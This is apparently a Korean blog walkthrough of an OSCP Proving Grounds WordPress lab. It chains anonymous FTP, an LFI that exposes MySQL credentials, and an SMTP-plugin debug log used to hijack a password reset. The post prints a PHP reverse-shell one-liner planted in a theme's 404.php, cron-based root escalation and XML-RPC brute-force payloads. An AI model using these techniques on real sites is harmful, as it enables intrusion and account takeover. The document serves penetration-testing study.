들어가며
타깃이 WordPress를 사용하고 있기 때문에
만만히 생각했고, 당연히 첫 번째 initial shell을
획득하는 작업은 그다지 어렵지 않을 거라 생각했다.
하지만 막상 들어가 보니 예상과 달랐고
극복해야 하는 장벽이 생각보다 많았으며
당연히 시간도 매우 오래 걸렸다;
이런 유의 박스가 시험에 나올 가능성이
충분히 있기에 마인드 셋을 새롭게 해야 할
필요성이 느껴졌고
본 박스를 풀기 위한 팁을 정리하며
필요한 마인드 셋을 정리해 본다.
1. 접근 허용이 되어있는 서비스 접속 후
무언가 이상하면 무엇이 이상한지 파악하고
해결 방안을 찾아야 한다.
> 예. frp anonymous 접속이 되는데
명령어 입력 결과가 안 나온다.
2. 알려진 방식대로 스캐너를 돌려보는데
결과가 안 나오는 경우, 아닌가 보다 하고
넘어가기보다는 스캔 방식을 변경해 볼 필요가 있고,
결과 도출까지 시간이 오래 걸릴 수 있다.
> 예. WordPress 스캐너를 돌리는데
특정 옵션을 사용해야만 필요한 정보 확인이
가능하고 시간이 오래 걸린다.
3. 어려운 박스의 경우 무엇보다
유연한 사고가 매우 매우 요구되는데
침투를 위한 힌트가 특정 한 곳이 아닌
여러 곳에 조금씩 나누어져 있을 수 있고,
발견된 힌트들을 모두 확인하고 연결,
조립해야만 문제를 풀 수 있다. 침투 작업이
절대로 한 번에 이루어지지 않으며
인내가 매우 필요한 과정이다.
> 예. ftp에서는 디렉터리 구조 및 파일의 존재만 확인이 가능
LFI가 가능한 방법을 찾아야 하고 LFI를 통해 해당 파일 내용 확인
확인된 정보로 특정 서비스에 접속, 접속 후
집중해야 하는 정보가 무엇인지 분간해야 하는데
위에서 언급되지 않은 특정 취약점 발견을 못하면
공략이 불가능, 이 취약점은 발견 당시 당장 사용할 수
없는 취약점이라 아닌가 보다 하고 무시하고 넘어가기 일쑤인데
그렇게 되면 본 박스는 영원히 풀 수 없고,
해당 취약점이 어떤 방식의 취약점인지 이해하고 넘어가면
힌트로 작용해 적용 후 돌파구를 찾을 수 있음
4. 늘 해왔던 방식이 안되는 경우
서비스 상황과 서버 상황을 생각해 봐야
한다.
> 예. 리버스 쉘이 가능한 포트는
특정 몇 개뿐인데 이것을 빨리 눈치채야 하고
왜 그런지 유추해 볼 수 있어야 한다.
[목차]
1. Information Gathering
2. Exploitation
3. Privilege Escalation
4. [번외] XMLRPC
1.Information Garhering
: Port Scanning
Notables are :
- 21 포트 FTP 서버 anonymous 로그인 허용 중이며
vsFTPd 3.0.3을 실행하고 있음 (config는 보통 vsftpd.conf)
- 22 포트 SSH 서버 기동 중
- 80 포트 WordPress 웹 서버 기동 중
- 3306 포트 MySQL 서버 기동 중
: ftp
anonymous 로그인 후
일반적인 active 모드에서
포트 명령어를 보내면 200은 뜨지만
이슈가 발생하는 것으로 보아
대상의 방화벽이
FTP 데이터 포트(20)를
차단하고 있는 것 같다.
PASV 명령어를 고려하라는 것으로 보아
모드를 passive로 변경한 뒤
명령어를 입력해보면
정상 조회 가능하며
automysqlbackup이라는
디렉터리가 호스팅 중,
들어가 보면
몇몇 디렉터리가 나오며
흥미로운 파일이 있지만
권한이 없어 다운은 불가능
OK!
: Web enum
> wpscan
일반적인 스캔으로는
설치되어 있는 플러그인 확인이
불가능하고
aggressive 방식으로
모든 플러그인(ap) 검색을 진행해야
결과가 나오며
(스캔 시간 1시간 34분 ;;)
> 스캔 결과
어렵게 검색된 특정 플러그인에 존재하는
취약점을 통해 공격을 시도해보면
첫 번째 플러그인 취약점은
공략이 불가능 (easy-smtp-plugin)!
https://blog.nintechnet.com/wordpress-easy-wp-smtp-plugin-fixed-zero-day-vulnerability/
하지만 어떤 서비스의
어떤 부분이 취약한지
체크해 두고 넘어간다.
또 다른 플러그인은 LFI가 가능
2. Exploitation
LFI를 통해 ftp 설정 파일을 확인해보고
ftp 로그인 후
권한이 없어 확인하지 못했던
파일을 읽어보면
mysql creds 확인이 가능하고
로그인해보면
접속 가능하며
권한을 확인해보면
wordpress DB에
SELECT, LOCK TABLES 권한만 있다.
wordpress 테이블을 살펴보면
다음과 같고
wp_users 내
user_pass는 복호화가 불가능
위에서 찾은 플러그인 중 하나인
smtp 관련 config 정보는
DB 어딘가에 저장되었을 텐데
포럼을 찾아보니 smtp 암호는
swpsmtp_option라는 곳에 저장된다고 하고
https://wordpress.org/support/topic/where-is-the-smtp-password/
swpsmtp_option는
wp_options 테이블 내 어딘가에 저장되는데
우선 wp_options 테이블 구조를 보면
다음과 같고
describe wp_options;
wp_options
내용 중 swpsmtp_options를 살펴보면
select option_value from wp_options where option_name = 'swpsmtp_options';
디버깅 기능이 1로 되어 있는 걸로 보아
활성화가 되어있고
패스워드 리셋을 요청하게 되면
리셋과 관련된 config 정보가
다시 이곳에 저장된다.
브라우저에서 리셋하려는
사용자 아이디 입력 후
Get New Password 요청해보면
smtp config 정보가 저장되는
swpsmtp_options 내
비번 변경과 관련된 로그 파일이 생성되고
접속해보면
패스워드 reset 경로 확인이 가능
해당 경로에 접속한 뒤
새로운 비번 생성 후 저장해주면
변경한 패스워드를 통해
정상 로그인 성공
이후 리버스 쉘 절차는
다른 wordpress와 비슷한데
twentytwenty는 테마는
다음의 이유로 수정이 불가능하여
twentyninteen 테마에
(1) php-reverse shell 코드를 복사해
(/usr/share/seclists/Web-Shells/WordPress/plugin-shell.php 또는
/usr/share/webshells/php/php-reverse-shell.php)
주입한 뒤 업데이트를 진행하던가
(2) 기존 404.php 코드 일부에
아래 리버스 쉘을 삽입 후
<?php passthru("/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.49.104/21 0>&1'");die(); ?>
리스너 기동 후 404.php 파일을 호스팅 하면
침투 성공!
3. Privilege Escalation
힌트 찾기
wordpress 폴더 아래를 살펴보면
backup_scripts라는 폴더가 있고
나머지는 모두 기본 폴더, 내용은 비었음
ftp에서 확인 가능했던
automysqlbackup 확인해 보면
bakcup 후(POSTBACKUP)에는
wordpress 폴더 아래 backup_scripts라는 곳에
backup-post 이름으로 저장되는데
해당 파일은 없는 상황
cron job 확인
cron.d 하위에 root 권한으로
automysqlbackup 파일이 걸려있고
해당 파일을 살펴보면
루트 권한으로 매분마다 실행됨.
정리해 보면
(1) 루트 권한으로
automysqlbackup 명령어가
매분마다 실행되면
(2) 해당 명령어에 등록되어 있는
명령대로 wordpress 폴더 아래
backup_scripts 폴더 아래
backup-post 파일이 실행
그럼 리버스 쉘이 실행되도록
backup-post 파일을 생성해 주고
권한 부여한 뒤 리스너 기동하면
root로 쉘 연결이 되겠다.
끝
[번외] XML-RPC
WordPress를 사용하는 사이트에서는
심심치 않게 xmlrpc.php라는 파일이 노출되어
있는 것을 확인할 수 있는데
XML-RPC란 RPC 프로토콜로
WordPress의 XML-RPC 인터페이스는
일반적인 GUI 환경 외부에서 WordPress와
상호작용이 가능하도록 해주는 API이다.
일반적으로
로그인 한 뒤에나 수행할 수 있는
포스팅, 포스팅 수정, 포스팅 삭제,
새 파일(포스팅을 위한 이미지 등) 업로드,
코멘트 리스트 확인, 코멘트 수정 등의
기능을 할 수 있도록 해주며
(또한 trackback / pingback 등)
알려진 취약점으로는
서비스 거부 공격(DoS) ,
핑백을 통한 DDoS 공격(경유지로 사용),
Brute Force attack 등이 있다.
1. 취약 여부 확인 방법
별도의 차단 정책이 설정되어 있지 않은 경우
접근해보면 다음과 같이 브라우징 되는데
'XML-RPC server accepts POST requests only'
메시지가 확인되면 해당 파일의 기능이 활성화되어 있다는
뜻으로
요구대로 request 방식을 POST로 변경해 전송해보면
서버 응답을 통해
기능이 활성화되어있는 것을 확인할 수 있다.
2. Manual RPC Calls
다음 경로에 들어가 보면
https://codex.wordpress.org/XML-RPC/system.listMethods
XML-RPC 사용법 확인이 가능한데
POST 방식으로
system.listMethods 명령어를
methodCall 해보면
활성화 중인 methods의
리스트 출력이 가능하다고 한다.
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
리스트 중 하나를 실험해 보면
정상 호출이 가능하며
Brute Force 또한 이러한 원리로
가능한데
사용자 ID를 wp-scan 등으로 미리 알아낸 뒤
(몰라도 상관없음)
다음의 methodCall을 날려보면
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
계정 정보가 맞지 않기 때문에 403이 뜨지만
200이 뜰 때까지 계속 대입해 보면 되는 것.
wpscan에서 계정 정보를 털기 위해
BruteForce 공격을 시도할 때 바로 이
xmlrpc를 통해 공격이 이루어진다.
'OSCP > Proving Ground' 카테고리의 다른 글
20. Zino (GET TO WORK) - Linux (0) | 2022.07.15 |
---|---|
19. Nukem (GET TO WORK) - Linux (img -> php)* (0) | 2022.07.14 |
17. Pelican (GET TO WORK) - Linux (0) | 2022.06.29 |
16. Wheels (WARM UP) - Linux (XPath 인젝션) (0) | 2022.06.25 |
15. Robust (WARM UP) - Windows (SQL인젝션) (4) | 2022.06.15 |